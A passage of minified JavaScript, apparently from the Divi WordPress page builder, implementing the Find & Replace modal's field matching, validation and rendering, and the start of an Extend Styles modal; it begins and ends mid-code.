this._getEditedModule("props.type")}},{key:"_getModuleStructure",value:function(e){switch(e||this._getEditedModuleType()){case"et_pb_section":return"section";case"et_pb_row":case"et_pb_row_inner":return"row";case"et_pb_column":case"et_pb_column_inner":return"column";default:return"module"}}},{key:"_getModuleTitle",value:function(e){var t=e||this._getEditedModuleType();return j.has("getModuleTitle",t)?j.get("getModuleTitle",t):j.set(y.a.getModuleTitle(t),"getModuleTitle",t)}},{key:"_getSourceModuleAddressScope",value:function(e){var t=this,n=y.a.getSectionsFlattened(),o=this._getEditedModule("props",{}),r=Object(l.o)(o,"address",""),i=Object(w.getModuleAddressSequence)(r),a=e.replace("this_","");return Object(l.k)(n,function(e){if(!Object(l.s)(i,e.address))return!1;var n="et_pb_column"===e.type,o="et_pb_specialty_section"===e.parent_slug,r=Object(l.Z)(Object(l.o)(e,"content",[]),function(e){return"et_pb_row_inner"===e.type});return!(n&&o&&r)&&t._getModuleStructure(e.type)===a})}},{key:"_getTargetModules",value:function(){var e=this,t=y.a.getSectionsFlattened(),n=this._getEditedModule("props",{}),o=Object(l.o)(n,"type","");return function(){switch(e.state.within){case"this_module":return[n];case"this_page":return t;case"this_section":case"this_row":case"this_column":var r=Object(l.o)(e._getSourceModuleAddressScope(e.state.within),"address");return t.filter(function(e){return Object(l.s)(Object(w.getModuleAddressSequence)(e.address),r)});default:var i=Object(l.o)(e._getSourceModuleAddressScope(e.state.throughout),"address"),a="this_page"===e.state.throughout,s="all_same_type"===e.state.within;return t.filter(function(t){var n=Object(l.s)(Object(w.getModuleAddressSequence)(t.address),i);return!(!a&&!n)&&(s?o===t.type:"module"===e._getModuleStructure(t.type))})}}().filter(function(e){return!Object(w.isModuleLocked)(e,t)})}},{key:"_getModuleFields",value:function(e){var t=e?{props:e}:this._getEditedModule(),n=t.props.type;if(j.has("getModuleFields",n))return j.get("getModuleFields",n);var o=y.a.getModuleFields(t),r=Object(l.o)(this._getEditedModule("props"),"attrs"),i={};return Object(l.m)(o,function(e,t){var n=Object(E.b)(t),o=Object(O.b)(t);Object(l.q)(r,n)&&Object(l.X)(i,n,e),Object(l.q)(r,o)&&Object(l.X)(i,o,e)}),j.set(Object(l.a)({},o,i),"getModuleFields",n)}},{key:"_getHoveredElement",value:function(e){var t=Object(l.F)(e)?"element":"element."+e;return Object(l.o)(this.props,t)}},{key:"_getHoveredElementId",value:function(){return this._getHoveredElement("elementId")}},{key:"_getHoveredElementSubId",value:function(){return this._getHoveredElement("subElementId")}},{key:"_getSelectedField",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=this._getHoveredElement("payload.toggleId"),n=this._getEditedModule(),o=this._getHoveredElement("payload.toggleGroupId"),r=this._getHoveredElement("elementId");e||(o="css"===o?"custom_css":o);var i=Object(l.k)(y.a.getModuleFields(n),{name:r,tab_slug:o,toggle_slug:t}),a=Object(l.a)({},{name:r,type:this._getHoveredElement("payload.option_family"),label:this._getHoveredElement("payload.optionTitle"),subField:this._getHoveredElement("subElementId")},i);if("categories"===a.type&&(a=Object(l.a)({},a,{categories_list:{},taxonomy_name:Object(l.F)(a.taxonomy_name)?"category":a.taxonomy_name})),"conditional_logic"===a.type&&(a=Object(l.a)({},a,{hideAddButton:!0,hideDeleteButton:!0})),"select"===a.type&&Object(l.F)(a.default)&&!Object(l.w)(a.options)){var s=Object(l.v)(a.options)?[]:{};Object(l.m)(a.options,function(e,t){Object(l.D)(e)||Object(l.v)(e)?Object(l.m)(e,function(e,t){s[t]=e}):s[t]=e}),s&&(a=Object(l.a)({},a,{default:Object(l.v)(s)?s[0]:Object(l.r)(Object(l.H)(s))}))}return"center_map"===a.type&&(a=Object(l.a)({},a,{disableAction:!0,hideUpdateButton:!0})),a}},{key:"_getSelectedFieldType",value:function(){return Object(l.o)(this._getSelectedField(),"type","text")}},{key:"_getSelectedFieldLabel",value:function(){var e=this._getSelectedField(),t=Object(l.o)(e,"label","");if("font"===e.type){var n=Object(l.o)(this._getSelectedField(),"group_label",""),o=this._getHoveredElementSubId(),r=(this._getSelectedFieldValue()||"||||||||").split("|"),i={family:Object(l.o)(r,0,""),weight:Object(l.o)(r,1,""),italic:Object(l.o)(r,2,""),uppercase:Object(l.o)(r,3,""),underline:Object(l.o)(r,4,""),capitalize:Object(l.o)(r,5,""),strikethrough:Object(l.o)(r,6,""),line_style:Object(l.o)(r,7,""),line_color:Object(l.o)(r,8,"")},a=Object(w.isOn)(Object(l.o)(i,"underline"));switch(o){case"weight":t=N.fontWeight;break;case"style":t=N.fontStyle;break;case"line_color":t=(a?N.underline:N.strikethrough)+" "+N.color;break;case"line_style":t=(a?N.underline:N.strikethrough)+" "+N.style;break;default:t=Object(l.o)(N,o,"")}return Object(l.F)(n)?t:n+" "+t}return t}},{key:"_getSelectedFieldValue",value:function(){var e=Object(l.o)(this._getSelectedField(!0),"name");return"desktop"!==this.moduleSettingMode&&(e=T.a.getNameByMode(e,this._getEditedModule("props.attrs"))),this._getFieldValue(e)}},{key:"_getFieldValue",value:function(e,t,n){var o=Object(l.F)(e)?Object(l.o)(this._getSelectedField(),"name"):e,r=Object(l.F)(t)?this._getSelectedField():t,i=Object(l.F)(n)?this._getEditedModule("props"):n,a=i.attrs||{};if(!(Object(l.w)(r)||Object(l.F)(o)||Object(l.F)(r.type))){var s=void 0;if(("content"===o||Object(l.o)(r,"is_fb_content",!1))&&(s=Object(l.o)(i,"content")),"custom_padding"===r.type&&"custom_padding"!==o&&this._isModuleHasColumn(i)){var u=o.replace("padding_",""),c=Object(w.hasValue)(a["padding_"+u+"_last_edited"])?a["padding_"+u+"_last_edited"].split("|"):[],d=(Object(l.o)(a,"padding_top_"+u,"")||"").trim()+"|"+(Object(l.o)(a,"padding_right_"+u,"")||"").trim()+"|"+(Object(l.o)(a,"padding_bottom_"+u,"")||"").trim()+"|"+(Object(l.o)(a,"padding_left_"+u,"")||"").trim()+"|"+(Object(l.o)(a,"padding_top_bottom_link_"+u,"")||"").trim()+"|"+(Object(l.o)(a,"padding_left_right_link_"+u,"")||"").trim();switch(Object(l.F)(c[1])?"desktop":c[1]){case"phone":s=Object(l.o)(a,"padding_"+u+"_phone","");break;case"tablet":s=Object(l.o)(a,"padding_"+u+"_tablet","");break;default:s=d}}if("center_map"===r.type)switch(i.type){case"et_pb_map_pin":s=JSON.stringify(Object(l.S)(a,["pin_address","pin_address_lat","pin_address_lng","zoom_level"]));break;default:s=JSON.stringify(Object(l.S)(a,["address_lat","address_lng","zoom_level"]))}return Object(l.F)(s)&&(s=Object(l.o)(a,o,Object(l.o)(r,"default"))),s}}},{key:"_getWithinOptions",value:function(){var e=this,t=this._getModuleStructure(),n={};return Object(l.m)(ETBuilderBackend.findReplace.within,function(o,r){switch(r){case"locations":var i=Object(l.H)(o).filter(function(t){return"this_page"===t||e._getSourceModuleAddressScope(t)});Object(l.w)(i)||(n[r]=Object(l.S)(o,i));break;default:var a=["this_module","all_same_type"];"module"===t&&a.push(["all_modules"]),Object(l.w)(a)||(n[r]=Object(l.M)(Object(l.S)(o,a),function(t){return t.replace("%s",e._getModuleTitle())}))}}),n}},{key:"_getThroughoutOptions",value:function(){var e=this,t=this._getModuleStructure(),n=Object(l.o)(ETBuilderBackend,"findReplace.throughout",{}),o=Object(l.H)(n).filter(function(n){return"this_"+t!==n&&("this_page"===n||e._getSourceModuleAddressScope(n))});return Object(l.S)(n,o)}},{key:"_isReplaceValueValid",value:function(e,t){var n=e||this.state.replace,o=t||this._getSelectedField();if(!Object(l.o)(o,"required",!1)&&!Object(w.hasValue)(n))return!0;switch(Object(l.o)(o,"type")){case"color":case"color-alpha":case"background-field":return C.a.isColorValid(n.toLowerCase());case"range":var r=/^-?\d*\.?\d+$/,i=Object(l.o)(o,"default_unit",Object(l.o)(o,"fixed_unit",!1)),a=i?r.test(n.replace(i,"")):r.test(n);if(a&&Object(l.o)(o,"fixed_range",!1)){var s=o.range_settings||{min:0,max:100,step:1},u=Object(l.o)(o,"fixed_unit",Object(l.o)(o,"default_unit",!1)),c=u?parseFloat(n.replace(u,"")):parseFloat(n);a=c>=Object(l.o)(s,"min",0)&&c<=Object(l.o)(s,"max",100)}return a;case"font":return 9===Object(l.hb)(n).split("|").length;case"center_map":return Object(w.isJson)(n);default:return!0}}},{key:"_isFieldTypeMatch",value:function(e){var t=!1,n=e.type||"custom_css"!==e.toggle_slug?e.type:"codemirror";switch(n){case"upload":var o=Object(l.o)(e,"data_type","image"),r=Object(l.o)(this._getSelectedField(),"data_type","image");(t=n===this._getSelectedFieldType()&&o===r)&&"video"===r&&(t=Object(l.o)(e,"field_template",!0)===Object(l.o)(this._getSelectedField(),"field_template",!1));break;case"background-field":t=Object(l.s)(["color","color-alpha","background-field"],this._getSelectedFieldType());break;default:t=n===this._getSelectedFieldType()}return t}},{key:"_isFieldNameMatch",value:function(e,t,n){if(Object(w.isOn)(this.state.all))return!0;if(n&&Object(l.s)(this._getHoveredElement("payload.option"),n))return!0;var o={moduleType:this._getEditedModuleType(),field:this._getSelectedField(),value:this._getSelectedFieldValue()},r={moduleType:t.type,field:e,value:this._getFieldValue(Object(l.o)(e,"name"),e,t)};return y.a.getModuleFieldsMapping(o,r)}},{key:"_isButtonEnabled",value:function(){return Object(l.hb)(this.state.find)!==Object(l.hb)(this.state.replace)&&(!Object(l.w)(this.state.within)&&((!this._isThroughoutEnabled()||!Object(l.w)(this.state.throughout))&&!!this._isReplaceValueValid()))}},{key:"_isThroughoutEnabled",value:function(){return Object(l.s)(["all_modules","all_same_type"],this.state.within)}},{key:"_isDescriptionVisible",value:function(e){return this.state.activeDescription===e}},{key:"_isModuleHasColumn",value:function(e){var t=e||this._getModuleEdited("props"),n=Object(l.s)(["et_pb_row","et_pb_row_inner"],t.type),o=Object(w.isOn)(Object(l.o)(t,"attrs.specialty")&&"et_pb_section"===Object(l.o)(t,"type"));return n||o}},{key:"_onKeyDown",value:function(e){27===e.keyCode&&this._onClose()}},{key:"_onClose",value:function(){b.b.findReplaceModalClose(this._getEditedModule(),this._getHoveredElement())}},{key:"_onMouseEnterGroup",value:function(e){this.setState({hoveredGroup:e})}},{key:"_onMouseLeaveGroup",value:function(){this.setState({hoveredGroup:!1})}},{key:"_onClickHelp",value:function(e){this.setState({activeDescription:this.state.activeDescription!==e&&e})}},{key:"_onChangeMap",value:function(e,t){try{this.setState({replace:JSON.stringify(Object(l.X)(JSON.parse(this.state.replace),e,t))})}catch(n){this.setState(P({},e,t))}}},{key:"_onChangeField",value:function(e,t){e!==Object(l.o)(this._getSelectedField(),"name")?this.setState(P({},e,t)):this.setState({replace:t})}},{key:"_onChangeFieldWithin",value:function(e){this.setState({within:e})}},{key:"_onChangeFieldThroughout",value:function(e){this.setState({throughout:e})}},{key:"_onFindReplace",value:function(){var e=this;this.setState({buttonState:"loading"});var t=Object(l.hb)(this.state.replace),n=Object(l.hb)(this.state.find),o=!Object(w.hasValue)(n),r="font"===this._getHoveredElement("payload.option_family"),i=r&&this._getHoveredElement("subElementId"),a=i&&Object(w.getFontFieldIndexes)(i),s=this._getEditedModule("props.address"),u=this._getHoveredElement("payload.option");new Promise(function(c){setTimeout(function(){var p=e._getTargetModules();return Object(l.w)(p)?c(!1):(Object(l.m)(p,function(c){var p=e._getModuleFields(c),f={};Object(l.m)(c.attrs,function(e,t){f[t]=e}),Object(l.m)(u,function(e){Object(l.q)(f,e)||(f[e]="")});var h=Object(l.T)(f,function(e){if(e===n)return!0;if(r&&i){var t=e?e.split("|"):"||||||||".split("|"),s=n?n.split("|"):"||||||||".split("|");if(9===t.length&&t.length===s.length)if(t[a]===s[a])return!0}return!(!o||Object(w.hasValue)(e))});if(!Object(l.w)(h)){var m={};if(Object(l.m)(h,function(o,r){var i=T.a.getBaseName(r),a=Object(l.o)(p,i);if(!a&&Object(l.ab)(i,"custom_css_")&&(a=Object(l.o)(p,Object(l.W)(i,"custom_css_",""))),a&&("skip"===a.type&&i.match(/_\d+$/)&&(a=Object(l.o)(p,i.replace(/_\d+$/,""),a)),a&&e._isFieldNameMatch(a,c,r)&&e._isFieldTypeMatch(a)&&e._isReplaceValueValid(t,a)))switch(a.type){case"font":var s=e._getFindReplaceFont(n,o,t);s&&(m[r]=s);break;case"select_box_shadow":var u=Object(l.k)(a.presets,function(e){return e.value===t});u&&(Object(l.m)(u.fields,function(e,t){m[t]=e}),m[r]=t);break;case"center_map":Object(l.m)(JSON.parse(t),function(e,t){m[t]=e});break;default:m[r]=t}}),!Object(l.w)(m)){var g={};if(Object(l.m)(m,function(t,n){Object(d.g)(t)&&!Object(d.h)(Object(l.o)(c,"type"),n)||(g[n]={value:t,isContent:Object(l.s)(["content","raw_content"],n)&&"et_pb_counter"!==Object(l.o)(c,"type")},n.includes("color")&&e._findReplaceColorValue(c,n))}),!Object(l.w)(g)){var v=c.address,y=v===s;b.b.findReplaceModuleUpdate(v,g,y)}}}}),c(!0))},0)}).then(function(){e._onClose()})}},{key:"_getFindReplaceData",value:function(e,t,n){var o=this,r=Object(l.hb)(this.state.find),i=Object(l.hb)(this.state.replace),a={};if(!this._isFieldTypeMatch(t))return!1;if(!this._isFieldNameMatch(t,n))return!1;if(!this._isReplaceValueValid(i,t))return!1;var s=[e];if(t.mobile_options&&T.a.isResponsiveEnabled(e,n)&&(s.push(e+"_tablet"),s.push(e+"_phone")),"tabs"===t.hover&&T.a.isHoverEnabled(e,n)&&s.push(e+"__hover"),t.sticky&&T.a.isStickyEnabled(e,n)&&s.push(e+"__sticky"),Object(l.m)(s,function(s){var u=s,c=Object(l.o)(t,"tab_slug",""),d=Object(l.o)(t,"toggle_slug","");"custom_css"===c&&"classes"!==d&&Object(l.ab)(u,"custom_css_")&&(u=Object(l.W)(u,"custom_css_",""));var p=Object(l.hb)(o._getFieldValue(u,t,n));switch(Object(l.o)(t,"type")){case"skip":case"hidden":break;case"font":var f=o._getFindReplaceFont(r,p,i);f&&Object(l.X)(a,u,f);break;case"center_map":r.toLowerCase()===p.toLowerCase()&&Object(l.m)(JSON.parse(i),function(e,t){Object(l.X)(a,t,e)});break;default:if(p.toLowerCase()===r.toLowerCase()&&Object(l.X)(a,u,i),0===u.indexOf("padding_")&&o._isModuleHasColumn(n.props)&&e!==u){var h=u.replace("padding_",""),m=i.split("|");e==="padding_top_"+h?Object(l.X)(a,e,Object(l.o)(m,0,"")):e==="padding_right_"+h?Object(l.X)(a,e,Object(l.o)(m,1,"")):e==="padding_bottom_"+h?Object(l.X)(a,e,Object(l.o)(m,2,"")):e==="padding_left_"+h?Object(l.X)(a,e,Object(l.o)(m,3,"")):e==="padding_top_bottom_link_"+h?Object(l.X)(a,e,Object(l.o)(m,4,"")):e==="padding_left_right_link_"+h&&Object(l.X)(a,e,Object(l.o)(m,5,""))}}}),!Object(l.w)(a)&&Object(l.o)(t,"presets",!1)){var u=t.presets.filter(function(e){return Object(l.o)(e,"value")===i});Object(l.m)(u,function(e){var t=Object(l.o)(e,"fields",!1);t&&Object(l.m)(t,function(e,t){Object(l.X)(a,t,e)})})}return a}},{key:"_getFindReplaceFont",value:function(e,t,n){var o=Object(l.hb)(e).split("|");9!==o.length&&(o="||||||||".split("|"));var r=Object(l.hb)(t).split("|");9!==r.length&&(r="||||||||".split("|"));var i=Object(l.hb)(n).split("|");9!==i.length&&(i="||||||||".split("|"));var a=Object(w.getFontFieldIndexes)(this._getHoveredElementSubId());return!Object(l.Z)(a,function(e){return Object(l.o)(o,e,"")!==Object(l.o)(r,e,"")})&&(Object(l.m)(a,function(e){r[e]=Object(l.o)(i,e,"")}),r.join("|"))}},{key:"_resetOption",value:function(){this.setState({replace:""})}},{key:"_renderSubHeader",value:function(){if("replace_global_color"===this.props.element.intent)return r.a.createElement("p",{className:"et-fb-modal__find-replace__header-desc"},D.description)}},{key:"_getColorFindReplaceConfig",value:function(e){return e.findReplaceModalFind?{hideColorManagerLinks:!0,hideHarmoniousPalette:!0,hideCurrentColorWrapper:!0,hideColorResetButton:!0,showCustomInput:!0}:e.findReplaceModalReplace?{hasColorManager:!0,showPickerPalettes:!1,hidePickerOnPaletteSelect:!0,hidePaletteOnPickerActive:!1}:void 0}},{key:"_getReplaceGloablColorConfig",value:function(e){var t=this.props.element,n=t.color,o=t.colorId;return e.findReplaceModalFind?{hideColorManagerLinks:!0,hideHarmoniousPalette:!0,hideCurrentColorWrapper:!0,hideColorResetButton:!0,showCustomInput:!0,colorPaletteMode:"global",colorId:o,value:n}:e.findReplaceModalReplace?{hideColorManagerLinks:!0,colorPaletteMode:"global",colorId:o,color:n}:void 0}},{key:"_findReplaceColorValue",value:function(e,t){var n=this.props.element,o=null;"replace_global_color"===n.intent&&(o=n.colorId),b.b.maybeUpdateGlobalColorsInfo(e,t,o)}},{key:"_renderField",value:function(e,t,n){var i=this._getEditedModule(),s=!(!i.isModuleItem||Object(l.F)(i.parentModule.props.type))&&i.parentModule.props.type?e.name+"_child":e.name;e.findReplaceModalFind?s+="__find":e.findReplaceModalReplace?s+="__replace":e.findReplaceModalWithin?s+="__within":e.findReplaceModalThroughout?s+="__throughout":e.findReplaceModalReplaceAll&&(s+="__all");var u={slug:e.type,type:"field"},d=Object(l.a)({},e,{resetValue:!1,mobile_options:!1,disableReset:!0,uniqueKey:s,processedKey:s,fieldDefinition:e,matching:u});if("transform"===d.type){var p=Object(l.o)(_.d.getComponentAdvancedFields(this.props.module),"transform_styles.composite_structure"),m=(""+d.name).replace("transform_",""),g=Object(l.o)(p,m+".controls.transform_"+m);d.default_unit=g.default_unit,d.transform_type=(""+d.name).replace("transform_",""),Object(w.hasValue)(d.default)||(d.default=g.default),Object(w.hasValue)(d.value)||(d.value=g.default)}if(e.findReplaceModalFind||e.findReplaceModalReplace){if(Object(l.s)(["color","color-alpha"],d.type)){var b=void 0;b="replace_global_color"===this.props.element.intent?this._getReplaceGloablColorConfig(e):this._getColorFindReplaceConfig(e),d=Object(l.a)({},d,M({},b,{moduleAttrs:Object(l.o)(i,"props.attrs")}))}"font"===d.type&&(d=Object(l.a)({},d,{subFieldLabel:!1,subField:this._getHoveredElementSubId()?this._getHoveredElementSubId():"font"})),"select_with_option_groups"===d.type&&(d=Object(l.a)({},d,{value:Object(l.o)(Object(l.hb)(d.value).split("|"),1,"none"),hideAddButton:!0,hideRemoveButton:!0,hideFetchButton:!0})),"multiple_checkboxes"===d.type&&(d=Object(l.a)({},d,{shortcut_index:s}))}var y=Object(l.o)(d,"type","text"),k=y.replace("_","-"),C=a()(P({"et-fb-form__group--find-replace":!0,"et-fb-form__group--find-replace__find":e.findReplaceModalFind,"et-fb-form__group--find-replace__replace":e.findReplaceModalReplace,"et-fb-form__group--find-replace__within":e.findReplaceModalWithin,"et-fb-form__group--find-replace__throughout":e.findReplaceModalThroughout,"et-fb-form__group--find-replace__all":e.findReplaceModalReplaceAll,"et-fb-settings-option-select--column-structure":"column-structure"===y},"et-fb-form__group--"+k,!0)),E=a()(P({"et-fb-settings-options":!0,"et-fb-option--depends-on":!Object(l.F)(e.depends_default)||!Object(l.F)(e.depends_show_if)||!Object(l.F)(e.depends_show_if_not),"et-fb-option--select-with-option-groups":"select_with_option_groups"===y&&e.groups},"et-fb-option--"+k,!0)),O=a()(P({"et-fb-option-container":!0},"et-fb-option-container--"+k,!0)),S=Object(o.createElement)(f.a.getControl(y),d);return r.a.createElement(v.b,{className:C,name:s,key:this.tabSlug+"-form-group-"+s,hovered:this.isOptionHovered(d.name),onMouseEnterGroup:this._onMouseEnterGroup,onMouseLeaveGroup:this._onMouseLeaveGroup},r.a.createElement(v.c,{name:s,hoveredGroup:this.state.hoveredGroup===s,activeHelp:this.state.activeDescription===s,onClickHelp:this._onClickHelp},t),r.a.createElement(v.a,{active:this.state.activeDescription===s},n),r.a.createElement("div",{className:E},r.a.createElement("div",{className:O},r.a.createElement(h.a,{componentName:s},(this.isDynamic||d.findReplaceModalReplace)&&Object(l.s)(c.a.supportedFieldTypes,y)?r.a.createElement(c.a,{type:d.dynamic_content||y,fieldName:d.name,fieldType:y,value:d.value,dynamicAttributes:[d.name],showSettingsButton:!d.readonly,showDisableButton:!d.readonly,onChange:d._onChange,onReset:this._resetOption},S):S))))}},{key:"_renderFieldFind",value:function(){var e=Object(l.a)({},this._getSelectedField(),{module:this,type:this._getSelectedFieldType(),value:this.state.find,findReplaceModalFind:!0,readonly:!0,_onChange:l.P}),t=this.state.find;"text"===e.type||Object(l.F)(t)||Object(l.X)(e,"default",t),"codemirror"===e.type&&Object(l.o)(e,"is_fb_content")&&Object(l.X)(e,"content",t);var n=void 0;n="replace_global_color"===this.props.element.intent?D.find.label:D.find.label.replace("%s",this._getSelectedFieldLabel());var o=D.find.description;return this._renderField(e,n,o)}},{key:"_renderFieldWithin",value:function(){if("replace_global_color"!==this.props.element.intent&&"global"!==this.state.colorPaletteMode){var e={name:"within",type:"select",value:this.state.within,options:this._getWithinOptions(),optionGroups:ETBuilderBackend.findReplace.groups,groupSeparator:!1,findReplaceModalWithin:!0,__onChange:this._onChangeFieldWithin},t=D.within.label,n=D.within.description;return this._renderField(e,t,n)}}},{key:"_renderFieldThroughout",value:function(){if(!this._isThroughoutEnabled())return!1;var e={name:"throughout",type:"select",value:this.state.throughout,options:this._getThroughoutOptions(),findReplaceModalThroughout:!0,__onChange:this._onChangeFieldThroughout},t=D.throughout.label,n=D.throughout.description;return this._renderField(e,t,n)}},{key:"_renderFieldReplace",value:function(){var e=this,t=Object(l.a)({},this._getSelectedField(),{module:this,type:this._getSelectedFieldType(),default:Object(d.g)(this.state.find)?"":this.state.find,value:Object(l.F)(this.state.replace)?"":this.state.replace,findReplaceModalReplace:!0,_onChange:l.P}),n=Object(l.o)(t,"readonly_if",!1);n&&Object(l.m)(n,function(n,o){Object(l.s)(n,e._getEditedModule(o.replace(":",".props.attrs.")))&&Object(l.X)(t,"readonly",!0)});var o=Object(l.o)(t,"readonly_if_not",!1);if(o&&Object(l.m)(o,function(n,o){Object(l.s)(n,e._getEditedModule(o.replace(":",".props.attrs.")))||Object(l.X)(t,"readonly",!0)}),!Object(l.o)(t,"readonly",!1))switch(t.type){case"center_map":Object(l.X)(t,"_onChange",this._onChangeMap),Object(l.X)(t,"hideUpdateButton",this._onChangeMap),Object(w.isJson)(this.state.replace)&&Object(l.m)(JSON.parse(this.state.replace),function(e,n){Object(l.X)(t,n,Object(l.s)(["zoom_level"],n)?parseInt(e,10):e)});break;default:Object(l.X)(t,"_onChange",this._onChangeField)}"codemirror"===t.type&&Object(l.o)(t,"is_fb_content")&&Object(l.X)(t,"content",this.state.replace);var r=D.replaceWith.label,i=D.replaceWith.description;return this._renderField(t,r,i)}},{key:"_renderFieldReplaceAll",value:function(){var e=this;if("replace_global_color"!==this.props.element.intent&&"global"!==this.state.colorPaletteMode){var t=Object(l.M)(ETBuilderBackend.findReplace.all,function(t){return t.replace("%s",e._getSelectedFieldLabel())}),n={name:"all",type:"multiple_checkboxes",value:this.state.all,options:t,findReplaceModalReplaceAll:!0,_onChange:this._onChangeField},o=D.replaceAll.label.replace("%s",this._getSelectedFieldLabel()),r=D.replaceAll.description;return this._renderField(n,o,r)}this.setState({all:"on"})}},{key:"render",value:function(){var e=this.state.buttonState?r.a.createElement(p.a,{icon:this.state.buttonState,color:"#FFFFFF"}):D.tooltip,t=[r.a.createElement(u.a,{block:!0,info:!0,ink:!1,disable:!1!==this.state.buttonState,tooltip:D.tooltip,__onClick:this.state.buttonState?l.P:this._onFindReplace},e)],n=Object(S.e)().snapLocation,o=M({},this.props,{measurement:Object(S.b)(),disableFullscreenButton:!0,disableSnapButton:!0,disableResizeButton:!0}),i=a()({"et-fb-modal__module-settings":!0,"et-fb-modal__find-replace":!0});return r.a.createElement(m.a,M({className:i,footerButtons:t,fullscreen:Object(S.c)(),label:L.decode(D.title),position:Object(S.a)(),snapLocation:n,_closeFunction:this.state.buttonState?l.P:this._onClose,globalUpdate:!0},o),r.a.createElement(h.a,null,r.a.createElement(g.d,{selectedIndex:0},r.a.createElement(g.c,{className:"et-fb-tabs__panel--"+this.tabSlug,slug:this.tabSlug,selected:!0},r.a.createElement("div",{className:"et-fb-form"},this._renderSubHeader(),this._renderFieldFind(),this._renderFieldWithin(),this._renderFieldThroughout(),this._renderFieldReplace(),this._renderFieldReplaceAll())))))}}]),t}();t.default=A},function(e,t,n){"use strict";n.r(t);var o=n(1),r=n.n(o),i=n(22),a=n.n(i),s=n(118),l=n(15),u=n.n(l),c=n(65),d=n.n(c),p=n(11),f=n.n(p),h=n(2),m=n.n(h),g=n(31),v=n.n(g),b=n(90),y=n.n(b),_=n(10),k=n.n(_),w=n(17),C=n.n(w),E=n(32),O=n.n(E),S=n(8),T=n.n(S),M=n(7),x=n.n(M),P=n(29),j=n.n(P),L=n(114),N=n.n(L),D=n(113),A=n.n(D),F=n(46),I=n.n(F),R=n(115),B=n.n(R),W=n(94),V=n.n(W),H=n(271),G=n.n(H),U=n(27),z=n.n(U),q=n(47),K=n.n(q),$=n(66),X=n.n($),Y=n(399),J=n.n(Y),Q=n(49),Z=n.n(Q),ee=n(129),te=n.n(ee),ne=n(74),oe=n.n(ne),re=n(38),ie=n.n(re),ae=n(51),se=n(40),le=n(1279),ue=n(162),ce=n(918),de=n(674),pe=n(727),fe=n(12),he=n(3),me=n(19),ge=n(928),ve=n(0),be=n(21),ye=n(16),_e=n(1287),ke=n(35),we=n(154),Ce=n(667),Ee=(n(1483),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Oe=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function Se(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function Te(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Me=new ge.a,xe=new s.AllHtmlEntities,Pe=ETBuilderBackend.i18n.modals.extend_styles,je=ETBuilderBackend.i18n.fonts,Le=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.isOptionHovered=function(e){return n.state.hoveredGroup===e},n.getModuleFields=function(e){var t=e.props.type;if(Me.has("getModuleFields",t))return Me.get("getModuleFields",t);var n=he.a.getModuleFields(e),o=B()(n,j()(n).filter(function(e){return!X()(e,"_")&&!k()(["advanced_common","advanced_defaults"],e)}));return Me.set(o,"getModuleFields",t)},n.getModuleStructure=function(e){if(Me.has("getModuleStructure",e))return Me.get("getModuleStructure",e);switch(e){case"et_pb_section":return Me.set("section","getModuleStructure",e);case"et_pb_row":case"et_pb_row_inner":return Me.set("row","getModuleStructure",e);case"et_pb_column":case"et_pb_column_inner":return Me.set("column","getModuleStructure",e);default:return Me.set("module","getModuleStructure",e)}},n.displayName="ETBuilderExtendStylesModal",n.defaultStates={to:n.getTargetElement(),throughout:"page"},n.state=u()({buttonState:!1},n.defaultStates),n.slug="extend-styles",n.onClose=n.onClose.bind(n),n.onKeyDown=n.onKeyDown.bind(n),n.onMouseEnterGroup=n.onMouseEnterGroup.bind(n),n.onMouseLeaveGroup=n.onMouseLeaveGroup.bind(n),n.onClickHelp=n.onClickHelp.bind(n),n.onChangeField=n.onChangeField.bind(n),n.onExtendStyles=n.onExtendStyles.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),Oe(t,[{key:"componentDidMount",value:function(){Me.reset(),Object(ve.appWindow)().addEventListener("keydown",this.onKeyDown),Object(ve.topWindow)().addEventListener("keydown",this.onKeyDown)}},{key:"componentWillUnmount",value:function(){Me.reset(),Object(ve.appWindow)().removeEventListener("keydown",this.onKeyDown),Object(ve.topWindow)().removeEventListener("keydown",this.onKeyDown)}},{key:"onClose",value:function(){var e=m()(this.props,"source"),t=m()(this.props,"element"),n=m()(this.props,"module");fe.b.extendStylesModalClose(e,t,n)}},{key:"onKeyDown",value:function(e){27===e.keyCode&&this.onClose()}},{key:"componentDidUpdate",value:function(e){var t=this;oe()(["module","element","source"],function(n){return!ie()(e[n],t.props[n])})&&this.setState({buttonState:!1,to:this.getTargetElement(),throughout:"page"})}},{key:"onMouseEnterGroup",value:function(e){this.setState({hoveredGroup:e})}},{key:"onMouseLeaveGroup",value:function(){this.setState({hoveredGroup:!1})}},{key:"onClickHelp",value:function(e){this.setState({activeDescription:this.state.activeDescription!==e&&e})}},{key:"onChangeField",value:function(e,t){m()(this.state,e)!==t&&v()(this.defaultStates,e)&&this.setState(Te({},e,t))}},{key:"getTargetElement",value:function(){return this.isTargetElementModule()?"module":this.getSelectedModuleType()}},{key:"isTargetElementModule",value:function(){return this.getSelectedModule("props.is_module_child",!1)&&m()(this.props,"element")}},{key:"onExtendStyles",value:function(){var e=this;this.setState({buttonState:"loading"}),new Promise(function(t){setTimeout(function(){var n=e.getExtendSourceFields();if(T()(n))return t(!1);var o=e.getExtendTargetModules();if(T()(o))return t(!1);var r=e.getExtendTargetModulesFields(n,o);return T()(r)?t(!1):(f()(r,function(e){var 